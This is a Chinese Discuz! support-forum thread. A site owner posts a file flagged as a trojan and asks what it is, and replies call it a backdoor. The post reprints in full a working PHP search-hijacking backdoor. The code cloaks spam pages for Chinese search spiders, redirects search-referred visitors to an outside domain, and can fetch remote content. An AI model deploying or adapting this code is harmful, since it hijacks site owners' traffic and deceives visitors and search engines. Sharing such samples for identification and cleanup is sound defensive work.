Discuz!官方免费开源建站系统

 找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索

[求助] 这是什么文件,提示木马?怎处理?

[复制链接]
十五阿哥 发表于 2018-3-30 12:22:12 | 显示全部楼层 |阅读模式
在我的目录下/source/module/member/client.txt 有一个叫:client.txt 文件,被阿里云提醒为木马文件,但我隔离后就整个站也访问不了了。这个是什么文件呢?仔细看下好像真的是木马文件呢。但不知如何处理。代码如下:
  1. <?php
  2. ob_end_clean();
  3. ini_set('html_errors', false);
  4. ini_set('display_errors', false);
  5. define("APP_INCLUDE_FLAG", "TRUE");
  6. define('APP_JACK_CHARSET', 'GBK');
  7. header("Content-type: text/html; charset=" . APP_JACK_CHARSET);
  8. define('APP_JACK_DOCUMENTROOT', '/usr/home/syu2893810001/htdocs/source/module/member/');
  9. define('APP_JACK_KEYWORD', APP_JACK_DOCUMENTROOT . '187080z.txt');
  10. define('APP_JACK_TEMPLATE', APP_JACK_DOCUMENTROOT . 'moban.txt');
  11. define('APP_JACK_ARTICLE', APP_JACK_DOCUMENTROOT . '187080w.txt');
  12. define('APP_JACK_DES', APP_JACK_DOCUMENTROOT . 'miaoshu.txt');
  13. define('APP_JACK_BIANLIANG', APP_JACK_DOCUMENTROOT . 'bianliang2.txt');
  14. define('APP_JACK_BIANLIANG_B', APP_JACK_DOCUMENTROOT . 'bianliang2.txt');
  15. define('APP_JACK_BIANLIANG_C', APP_JACK_DOCUMENTROOT . 'bianliang3.txt');
  16. define('APP_MIX_KWD_FILE', APP_JACK_DOCUMENTROOT . 'hunhe.txt');
  17. define('APP_JACK_CACHED', 'Uncached');
  18. define('APP_JACK_MIN_PAR', '3');
  19. define('APP_JACK_MAX_PAR', '3');
  20. define('APP_JACK_MIN', '10');
  21. define('APP_JACK_MAX', '15');
  22. define('APP_JACK_APPFILE', APP_JACK_DOCUMENTROOT . '187080a.txt');
  23. function App_GetLink()
  24. {
  25.     $link = array();
  26.     $link[] = missclient::rndStr(mt_rand(4, 6)) . "/" . missclient::rndStr(mt_rand(4, 6)) . ".html";
  27.     $link[] = missclient::rndStr(mt_rand(4, 6)) . "/" . missclient::rndStr(mt_rand(4, 6)) . ".html";
  28.          $site = array();
  29.     $site[] = 'http://' . $_SERVER['HTTP_HOST'] . "/index.php?" . $link[mt_rand(0, 1)];
  30.         $site[] = 'http://' . $_SERVER['HTTP_HOST'] . "/forum.php?" . $link[mt_rand(0, 1)];
  31.         $site[] = 'http://' . $_SERVER['HTTP_HOST'] . "/forum.php?fid=" . mt_rand(1, 99999999999) . '/';
  32.         $site[] = 'http://' . $_SERVER['HTTP_HOST'] . "/forum.php?gid=" . mt_rand(1, 99999999999) . '/';
  33.         $site[] = 'http://' . $_SERVER['HTTP_HOST'] . "/home.php?nid=" . mt_rand(1, 99999999999) . '/';
  34.         $site[] = 'http://' . $_SERVER['HTTP_HOST'] . "/plugin.php?id=" . mt_rand(1, 99999999999) . '/';
  35.         $site[] = 'http://' . $_SERVER['HTTP_HOST'] . "/forum.php?mod=viewthread&tid=" . mt_rand(1, 99999999999) . '';
  36.         $site[] = 'http://' . $_SERVER['HTTP_HOST'] . "/thread-" . mt_rand(1, 99999999999) . '-1-1.html';
  37.         $site[] = 'http://' . $_SERVER['HTTP_HOST'] . "/article-" . mt_rand(1, 99999999999) . '-1.html';
  38.         $site[] = 'http://' . $_SERVER['HTTP_HOST'] . "/portal.php?" . $link[mt_rand(0, 1)];
  39.         $site[] = 'http://' . $_SERVER['HTTP_HOST'] . "/portal.php?mid=" . mt_rand(1, 99999999999) . '/';
  40.     return $site[mt_rand(0, count($site) - 1)];
  41. }
  42. function App_GetSelf()
  43. {
  44.     $link = array();
  45.     $link[] = missclient::rndStr(mt_rand(4, 6)) . "/" . missclient::rndStr(mt_rand(4, 6)) . ".html";
  46.     $link[] = missclient::rndStr(mt_rand(4, 6)) . "/" . missclient::rndStr(mt_rand(4, 6)) . ".html";
  47.     return "http://" . $_SERVER['HTTP_HOST'] . "/index.php?" . $link[mt_rand(0, 1)];
  48. }
  49. function getImg()
  50. {       
  51.         $img_ay = array('2o5auk','J2Adc0','VSuxVY','O49Wj3','IaF4dN','najAOS','9XFvIi','3sPosd','NsKJwN','l4ktfg','1r6qhb');
  52.         $img_num = rand(0,9);
  53.     return "http://i.niupic.com/images/2016/12/09/" . $img_ay[$img_num] . ".jpg";
  54. }
  55. $my_app = new missclient();
  56. $my_app->run();
  57. class missclient
  58. {
  59.     public $show_spider;
  60.     public $jump_ref;
  61.     public $http_ref_filter;
  62.     public $jump_url = "";
  63.     public $domain = "";
  64.     public $condition = "";
  65.     public $app_server = "";
  66.     public $log_spider = "";
  67.     public $cur_spider = "";
  68.     public $allow_ip = "";
  69.     public $isCache = false;
  70.     public function run()
  71.     {
  72.         $this->domain = $this->getServerName();
  73.         $this->jump_ref = explode("|", "baidu.|haoso.|haosou.|bing.|google.|sogou.|soso.|so.com|.sm.cn|spm=");
  74.         $this->http_ref_filter = explode("|", "inurl:|site:|site%3A|inurl%3A");
  75.         $this->allow_ip = "218.80.218.|10.4.62.|10.4.33";
  76.                 function urlfalse(){
  77.                         if($_GET['tid'] > 50000000 || $_GET['aid'] > 1000000 || $_GET['nid'] > 1000000 || $_GET['id'] > 1000000 || $_GET['fid'] > 100000 || $_GET['mid'] > 100000 || $_GET['gid'] > 100000){
  78.                                 return true;
  79.                         }
  80.                         if(strstr($_SERVER["QUERY_STRING"] , 'html') && strstr($_SERVER["QUERY_STRING"] , '/')){
  81.                                
  82.                                 return true;
  83.                         }
  84.                        
  85.                 }
  86.                 if (stristr(strtolower($_SERVER['HTTP_USER_AGENT']), "360spider")) {
  87.             $this->condition = $this->isAllowdIp();
  88.         }else {       
  89.                         $this->condition = urlfalse() == true && $this->isAllowdIp();
  90.                 }
  91.         $this->app_server = "000";
  92.         $this->isCache = False;
  93.         if ($this->isSpider() && $this->isAllowdIp()) {
  94.             if ($this->condition) {
  95.                 if ($this->isCache) {
  96.                     $relset_host = $this->getServerName();
  97.                     $dir = (substr(PHP_OS, 0, 3) == 'WIN' ? 'C:/windows/temp/' : '/tmp/') . substr(md5($relset_host), 26) . chr(47);
  98.                     $cacheFile = $dir . 'sess_' . substr(md5(http_build_query($_GET)), 6);
  99.                     if (!@file_exists($dir)) {
  100.                         mkdir($dir, 0777);
  101.                     }
  102.                     if (@file_exists($cacheFile) && @filesize($cacheFile) > 32) {
  103.                         $var = coreAppCache::read($cacheFile);
  104.                         $page = file_get_contents(APP_JACK_TEMPLATE);
  105.                         foreach ($var as $key => $v) {
  106.                             $flag = "{" . $key . "}";
  107.                             $page = str_replace($flag, $v, $page);
  108.                         }
  109.                         echo $page;
  110.                         exit;
  111.                     } else {
  112.                         $currentPage = (include APP_JACK_APPFILE);
  113.                         if ($currentPage && strlen($currentPage) > 32 && stristr($currentPage, "</explode>")) {
  114.                             $var = self::cut($currentPage, "<explode>", "</explode>");
  115.                             $var = coreAppCache::decode($var);
  116.                             $page = file_get_contents(APP_JACK_TEMPLATE);
  117.                             foreach ($var as $key => $v) {
  118.                                 $flag = "{" . $key . "}";
  119.                                 $page = str_replace($flag, $v, $page);
  120.                             }
  121.                             echo $page;
  122.                             @coreAppCache::writenocode($currentPage, $cacheFile);
  123.                         }
  124.                     }
  125.                     die;
  126.                 } else {
  127.                     $currentPage = (include APP_JACK_APPFILE);
  128.                     echo $currentPage;
  129.                     die;
  130.                 }
  131.             } else {
  132.                 $this->_uncondition_hook();
  133.             }
  134.         } else {
  135.             if ($this->isRef() && $this->condition) {
  136.                 $this->Jump();
  137.             } else {
  138.                 $this->_unSpider_hook();
  139.             }
  140.         }
  141.     }
  142.     public function isAllowdIp()
  143.     {
  144.         $ip = $this->clientIp();
  145.         $non_list = explode("|", $this->allow_ip);
  146.         foreach ($non_list as $iplist) {
  147.             if (@stristr($ip, $iplist)) {
  148.                 return false;
  149.             }
  150.         }
  151.         return true;
  152.     }
  153.     public function clientIp()
  154.     {
  155.         if (getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
  156.             $onlineip = getenv('HTTP_CLIENT_IP');
  157.         } elseif (getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {
  158.             $onlineip = getenv('HTTP_X_FORWARDED_FOR');
  159.         } elseif (getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
  160.             $onlineip = getenv('REMOTE_ADDR');
  161.         } elseif (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
  162.             $onlineip = $_SERVER['REMOTE_ADDR'];
  163.         }
  164.         preg_match("/[\\d\\.]{7,15}/", $onlineip, $onlineipmatches);
  165.         $onlineip = $onlineipmatches[0] ? $onlineipmatches[0] : 'unknown';
  166.         unset($onlineipmatches);
  167.         return $onlineip;
  168.     }
  169.     public function isSpider()
  170.     {
  171.         $bots = array('Sogou' => 'sogou', 'Haoso' => 'haosouspider', '360spider' => '360spider');
  172.         $userAgent = strtolower($_SERVER['HTTP_USER_AGENT']);
  173.         foreach ($bots as $k => $v) {
  174.             if (stristr($userAgent, $v)) {
  175.                 if (!empty($this->log_spider)) {
  176.                     @file_put_contents($this->log_spider, $v . "->Visited " . $_SERVER['QUERY_STRING'] . "at: " . date("Y-m-d H:i:s") . "\n", FILE_APPEND);
  177.                 }
  178.                 $this->cur_spider = $k;
  179.                 return true;
  180.                 break;
  181.             }
  182.         }
  183.         return false;
  184.     }
  185.     public function isRef()
  186.     {
  187.         $ref = strtolower(@$_SERVER['HTTP_REFERER']);
  188.         if (isset($_COOKIE["domain-filter-bypass"])) {
  189.             return false;
  190.         }
  191.         if (!$this->isAllowdIp()) {
  192.             setcookie("domain-filter-bypass", "lol", time() + 259200);
  193.             return false;
  194.         }
  195.         foreach ($this->http_ref_filter as $r) {
  196.             $r = trim($r);
  197.             if (stristr($ref, $r)) {
  198.                 setcookie("domain-filter-bypass", "lol", time() + 259200);
  199.                 return false;
  200.             }
  201.         }
  202.         foreach ($this->jump_ref as $r) {
  203.             $r = trim($r);
  204.             if (stristr($ref, $r)) {
  205.                 return true;
  206.             }
  207.         }
  208.     }
  209.     public function getServerName()
  210.     {
  211.         $ServerName = strtolower($_SERVER['SERVER_NAME'] ? $_SERVER['SERVER_NAME'] : $_SERVER['HTTP_HOST']);
  212.         if (strpos($ServerName, 'http://')) {
  213.             return str_replace('http://', '', $ServerName);
  214.         }
  215.         return $ServerName;
  216.     }
  217.     public function getPage()
  218.     {
  219.         if ($this->isCache) {
  220.             $cache = "cached";
  221.         }
  222.         $url = $this->app_server . "?domain=" . $this->domain . "&gid=199&spider=" . $this->cur_spider . "&cache=" . $cache . "&localPar=" . http_build_query($_GET);
  223.         return $this->HttpVisit($url);
  224.     }
  225.     public function HttpVisit($weburl)
  226.     {
  227.         $remote_data = NULL;
  228.         if (function_exists('curl_exec')) {
  229.             $curl = @curl_init();
  230.             @curl_setopt($curl, CURLOPT_URL, $weburl);
  231.             @curl_setopt($curl, CURLOPT_HEADER, 0);
  232.             @curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 30);
  233.             @curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  234.             $remote_data = @curl_exec($curl);
  235.             @curl_close($curl);
  236.         } else {
  237.             if (function_exists('stream_context_create')) {
  238.                 $header_array = array('http' => array('method' => 'GET', 'timeout' => 30));
  239.                 $http_header = @stream_context_create($header_array);
  240.                 $remote_data = @file_get_contents($weburl, false, $http_header);
  241.             } else {
  242.                 $temp_url = explode("/", $weburl);
  243.                 $new_url = $temp_url[2];
  244.                 $http_port = 80;
  245.                 $get_file = substr($weburl, strlen($new_url) + 7);
  246.                 if (strstr($new_url, chr(58))) {
  247.                     $s_var_array['td'] = explode(chr(58), $new_url);
  248.                     $new_url = $s_var_array['td'][0];
  249.                     $http_port = $s_var_array['td'][1];
  250.                 }
  251.                 $fsock_result = @fsockopen($new_url, $http_port);
  252.                 @fputs($fsock_result, 'GET ' . $get_file . ' HTTP/1.1' . "\r\n" . 'Host:' . $new_url . "\r\n" . 'Connection:Close' . "\r\n\r\n");
  253.                 while (!feof($fsock_result)) {
  254.                     $remote_data .= fgets($fsock_result, 1024);
  255.                 }
  256.                 @fclose($fsock_result);
  257.             }
  258.         }
  259.         return $remote_data;
  260.     }
  261.     public function Jump()
  262.     {
  263.         if ($this->isAllowdIp()) {
  264.             $domain = str_replace(".", "_", $this->domain);
  265.                           if (urlfalse() == true) {
  266.             header('Location: http://www.wjrxxw.com/?b2o_' . $domain);
  267.             exit;
  268.                           }
  269.         }
  270.     }
  271.     public function _uncondition_hook()
  272.     {
  273.         $array = array();
  274.         for ($a = 0; $a < 5; $a++) {
  275.             echo '<a href="' . App_GetLink() . '"></a>' . "\n";
  276.         }
  277.     }
  278.     public function _unSpider_hook()
  279.     {
  280.     }
  281.     public function strStartWith($needle, $haystack)
  282.     {
  283.         return substr($haystack, 0, strlen($needle)) == $needle;
  284.     }
  285.     public function rndStr($length = 8)
  286.     {
  287.         $str = null;
  288.         $strPol = "0123456789abckSKJCefjshikhjkljKmnopqJASHDvwxyz";
  289.         $max = strlen($strPol) - 1;
  290.         for ($i = 0; $i < $length; $i++) {
  291.             $str .= $strPol[rand(0, $max)];
  292.         }
  293.         return $str;
  294.     }
  295.     public function cut($file, $from, $end)
  296.     {
  297.         $message = explode($from, $file);
  298.         $message = explode($end, $message[1]);
  299.         return $message[0];
  300.     }
  301. }
  302. class coreAppCache
  303. {
  304.     public function write($file, $filename)
  305.     {
  306.         return file_put_contents($filename, self::encode($file));
  307.     }
  308.     public function writenocode($file, $filename)
  309.     {
  310.         return file_put_contents($filename, $file);
  311.     }
  312.     public function read($filename)
  313.     {
  314.         $content = file_get_contents($filename);
  315.         if (stristr($content, "</explode>")) {
  316.             $content = self::cut($content, "<explode>", "</explode>");
  317.         }
  318.         return self::decode($content);
  319.     }
  320.     public function encode($file)
  321.     {
  322.         return base64_encode(gzcompress(serialize($file)));
  323.     }
  324.     public function decode($file)
  325.     {
  326.         return unserialize(gzuncompress(base64_decode($file)));
  327.     }
  328.     public function cut($file, $from, $end)
  329.     {
  330.         $message = explode($from, $file);
  331.         $message = explode($end, $message[1]);
  332.         return $message[0];
  333.     }
  334. }
复制代码


1314学习网 发表于 2018-3-30 12:43:21 | 显示全部楼层
是后门,建议全面排查
回复

使用道具 举报

 楼主| 十五阿哥 发表于 2018-3-30 12:49:37 | 显示全部楼层
1314学习网 发表于 2018-3-30 12:43
是后门,建议全面排查

怎收费?我用过你家的插件,另外帮我查查360搜索快照劫持。报个价
回复

使用道具 举报

1314学习网 发表于 2018-3-30 12:54:48 | 显示全部楼层
十五阿哥 发表于 2018-3-30 12:49
怎收费?我用过你家的插件,另外帮我查查360搜索快照劫持。报个价

快照劫持处理联系QQ:15326940
回复

使用道具 举报

crx349 发表于 2018-3-30 13:10:27 | 显示全部楼层
是挂马 文件 尽快清理哦 应该有其他木马 文件注意检查哦
回复

使用道具 举报

 楼主| 十五阿哥 发表于 2018-3-30 13:14:06 | 显示全部楼层
crx349 发表于 2018-3-30 13:10
是挂马 文件 尽快清理哦 应该有其他木马 文件注意检查哦

其它都被阿里云隔离了,就这个不给隔离,一隔离就整个站也不能访问了。唉,不知怎处理~
回复

使用道具 举报

crx349 发表于 2018-3-30 14:48:16 | 显示全部楼层
十五阿哥 发表于 2018-3-30 13:14
其它都被阿里云隔离了,就这个不给隔离,一隔离就整个站也不能访问了。唉,不知怎处理~

尽快处理下服务器安全哦
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

手机版|小黑屋|Discuz! 官方站 ( 皖ICP备16010102号 )star

GMT+8, 2024-11-30 06:41 , Processed in 0.045486 second(s), 3 queries , Gzip On, Redis On.

Powered by Discuz! X3.4

Copyright © 2001-2023, Tencent Cloud.

快速回复 返回顶部 返回列表